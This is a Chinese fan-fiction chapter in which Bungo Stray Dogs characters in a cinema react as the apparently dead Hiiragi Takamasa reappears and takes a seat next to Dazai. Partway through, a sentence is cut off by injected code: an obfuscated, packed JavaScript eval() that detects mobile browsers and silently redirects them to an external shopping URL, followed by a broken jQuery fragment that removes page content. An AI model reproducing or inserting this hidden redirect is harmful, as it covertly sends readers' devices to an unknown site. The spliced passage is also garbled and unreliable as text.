但并非所有人都在为柊贵诚的死而悲伤。
镜头扫过战场的时候，有些人看见了不该看见的东西。
“卧槽——！！！”
一声惊叫从后排炸开，尖锐得几乎把前排人的魂儿都吓飞一半。
众人齐刷刷回头，只见一个东欧面孔的异能力者像被电击了一样从座位上弹起来，脸色白得像见了鬼。
不对，他可能就是见了鬼，手指颤抖地指着屏幕，嘴唇哆嗦得像是下一秒就要抽过去。
“你、你叫什么？”旁边的人被吓得往后一缩。
“那、那是我！！！”
那人终于吼出来了，声音劈叉得不成样子，“躺地上的那个！手脚都没了的那个！他妈的！那是我啊！！！”
众人顺着他手指的方向看去。
屏幕上定格在一处战场角落，那里躺着一个……姑且称之为“人形”的东西吧。
破破烂烂的，四肢已经看不出是四肢了，就是几团血肉模糊的玩意儿摊在地上。
“……”
周围忽然安静了。
那个东欧异能力者还在抖，低头看看自己完好的手，又抬头看看屏幕上那摊“自己”，再看看自己的手，脸色青了白，白了青，青了又白。
“我、我他妈的……”
他说不下去了。
但所有人都懂了他现在的感受。
文字上看到“半数异能力者陨落”是一回事，心里想的是“哦，死了一半人”。
看到自己躺在血泊里，就是另一回事了。
尤其是死得不是那么不体面。
“咳，”有人清了清嗓子，试图缓解这诡异的尴尬，“那个……至少你还活着，对吧？”
“那不是我！！！”东欧人炸毛，“那是另一个世界的我！！！”
“那你抖什么？”
“我……我四肢疼不行啊！！”
众人默默收回目光。
不敢再看了。
谁知道下一个躺在地上的会不会是“自己”？
---
就在这时，屏幕上的画面忽然暗了下去。
最后定格的，是柊贵诚躺在桔梗花丛中的那张脸。
苍白的，安静的，嘴角带着一丝若有若无的笑。
然后画面彻底消失。
整个电影院陷入短暂的黑暗。
“结……结束了？”
有人不确定地问。
灯光亮起。
众人左顾右盼，面面相觑。
“所以……那个柊贵诚死了，电影就结束了？”
“应该是吧？”
“那我们怎么出去？”
“不知道啊……”
议论声渐渐响起，带着茫然，毕竟看了一场世界大战，还看了一场惊心动魄的“殉情”，现在应该“可以走了”？
怎么走？
门在哪儿？
就在这时，一阵窸窸窣窣的骚动从后排传来。
不是那种看电影时的低声交谈，而是一种压抑不住的、带着某种诡异兴奋的躁动。
像是有人看见了什么不得了的东西。
坐在前排的国木田皱了皱眉，下意识回头看了一眼。
后排那些人的表情都很奇怪。
有人在揉眼睛，有人在掐自己的脸，还有人在反复扭头，一会儿看向大屏幕，一会儿看向身后的某个方向，脸上的表情像是见了鬼又像是中了彩票，复杂得没法形容。
“怎么了？”谷崎润一郎顺着他们的目光看过去。
然后他愣住了。
“那是……”
他的声音卡在喉咙里，像是被人掐住了脖子。
越来越多的人开始回头。
骚动像涟漪一样从前排扩散到后排，又从后排涌向前排，很快整个电影院的人都在扭头往后看。
有人在倒吸冷气，有人从座位上站了起来，还有人张着嘴，却一个字都说不出来。
“卧槽——！！！”
叫出声的还是那个东欧男人，他手指颤抖地指着身后的某个方向，眼珠子瞪得快要从眼眶里掉出来，脸色白得像是被人抽干了血。
“你你你你——！”
他的嘴唇哆嗦得像风中落叶。
“你——！你不是——！”
他猛地回头，看向大屏幕。
屏幕上，柊贵诚躺在桔梗花丛中，眼睛闭着，脸上带着笑，死得透透的。
他又猛地回头，看向身后的那个方向。
“你——！！！”
“我的四肢不痛了……”他喃喃道，声音飘忽得像梦游，“我麻了……”
众人顺着他颤抖的手指看去。
然后——
整个电影院陷入了死一般的寂静。
在那扇不知何时出现的门里，在众人身后，站着一个人。
修长的身影，黑色的衣袍，微垂的眼睫。
那张脸。
那张他们刚刚在屏幕上看了上百遍的脸。
那张苍白的、沾满血迹的、带着笑的、最后闭上眼睛的脸。
此刻正完好无损地站在那里。
正微微偏着头，用一种初来乍到的、纯粹好奇的目光，打量着这个陌生的空间。
就像他们这些人第一次来到这里时一样。
柊贵诚。
是柊贵诚。
是那个杀了半数异能力者的柊贵诚。
是那个差点让世界毁灭的柊贵诚。
是那个死在太宰治手里的柊贵诚。
此刻，他就站在那里。
活着。
完好无损。
脸上甚至还带着一点初来乍到的茫然。
没有人说话。
没有人动。
整个电影院安静极了。
“啪嗒。”
不知是谁的手机掉在地上，那声音在死寂中格外刺耳，却没有人去捡。
所有人的目光都死死地盯着那个身影。
恐惧、警惕、敌意、好奇、震惊、难以置信，各种情绪在那一瞬间交织成一张密不透风的网，把整个电影院罩得透不过气来。
但柊贵诚本人似乎完全没有意识到自己造成了多大的轰动。
他只是环顾着四周，看着那些盯着自己的陌生面孔，目光从一张脸上移到另一张脸上，带着一种平静的、甚至可以说得上是悠然的好奇。
就在这时，屏幕上的画面忽然消失了。
取而代之的是一行文字，静静地浮在黑暗中：
【请新到来的观众赶紧入座，影片即将开始】
一束光从上方投射下来，落在一个空着的座位上。
那是给柊贵诚安排的位置。
众人顺着那束光看去。
然后——
表情集体变得微妙起来。
那个位置，在太宰治旁边。
说起来也是巧。
当时侦探社的人进来后，太宰治随便找了个位置坐下了，其他人看了看，觉得让已经坐下的太宰再挪位置太麻烦，就集体坐到了他的前一排和后一排
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254466|196429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
于是太宰治那一排，就他一个人。
空荡荡的，像是专门给人留的。
现在，那束光落在他旁边的座位上。
柊贵诚动了。
他穿过那些愣住的人群，一步一步，朝着那束光走去。
目光一直停留在那道光上。
一步一步。
穿过那些警惕的眼神，穿过那些屏住的呼吸，穿过那些复杂的、说不清道不明的注视。
直到走到那个位置前。
停下。
坐下。
然后他转过头，看向身边的人。
“你好。”
声音很轻，一声普通得不能再普通的问候。
太宰治看着他。
鸢色的眼睛里有什么东西闪了一下。
“你好。”
就像偶然坐在一起的陌生人，两人维持着最基本的礼貌。
两双眼瞳对视。
一瞬。
又好像很久。
周围忽然安静得能听见彼此的呼吸声。
侦探社的众人坐在前后排，此刻的表情精彩得可以开一场变脸大会。
国木田的嘴张了又合，合了又张，最后硬生生憋出一个“这……”就再也说不出话来。
与谢野晶子手里的烟不知什么时候折成了两段，她低头看了一眼，面无表情地把两截烟蒂塞进口袋里，动作僵硬。
谷崎润一郎和直美紧紧抱在一起，两个人的眼睛都瞪得溜圆，脑袋同步转动，看看太宰，看看柊贵诚，再看看太宰，再看看柊贵诚，活像两只被按了重复键的摇头娃娃。
中岛敦愣愣地看着那个方向，想到了另一个世界的自己，忽然觉得眼眶有点发酸。
他张了张嘴，想说点什么，却发现自己根本不知道能说什么。
而江户川乱步——
他环顾了一圈同事们那些紧绷的、僵硬的、快要石化的脸，忽然“噗”地笑出了声。
“你们干嘛呢？”他压低声音，语气里带着一种看热闹不嫌事大的愉悦，“看电影就看电影，想看就正大光明地看呀，偷偷摸摸地干什么？”
国木田整个人紧张得手舞足蹈的，还竖起一个手指，在嘴前面比了一个嘘的动作。
“乱、乱步先生！您在说什么！”
“我在说事实啊。”乱步往椅背上一靠，笑眯眯地看着前排那两个并排坐着的背影，“不然你们还想看什么？看他们什么时候牵手？”
“……”
众人齐刷刷收回目光，动作整齐得像是排练过无数次，一个个正襟危坐，死死盯着前方还暗着的屏幕，表情严肃得仿佛在研究什么重大课题。
但余光，还是忍不住往那个方向飘。
柊贵诚似乎察觉到了什么。
他微微侧过头，扫了一眼前后排那些故作镇定实则眼神乱飘的脸，然后又转回来，看着前方的屏幕。
嘴角似乎弯了一下。
太宰治没有说话。
他只是靠在椅背上，目光落在前方那片还暗着的屏幕上，表情平静得像是真的只是在等电影开始。
但那只搭在扶手上的手，不知什么时候，往里挪了一点点。
一点点。
大概只有一根手指的距离。
几乎看不出来。
但柊贵诚看见了。
他的目光落在那只手上，想到刚才那个微小的、几乎可以忽略不计的移动上。
然后他垂下眼。
嘴角那一点笑意，更深了一点点。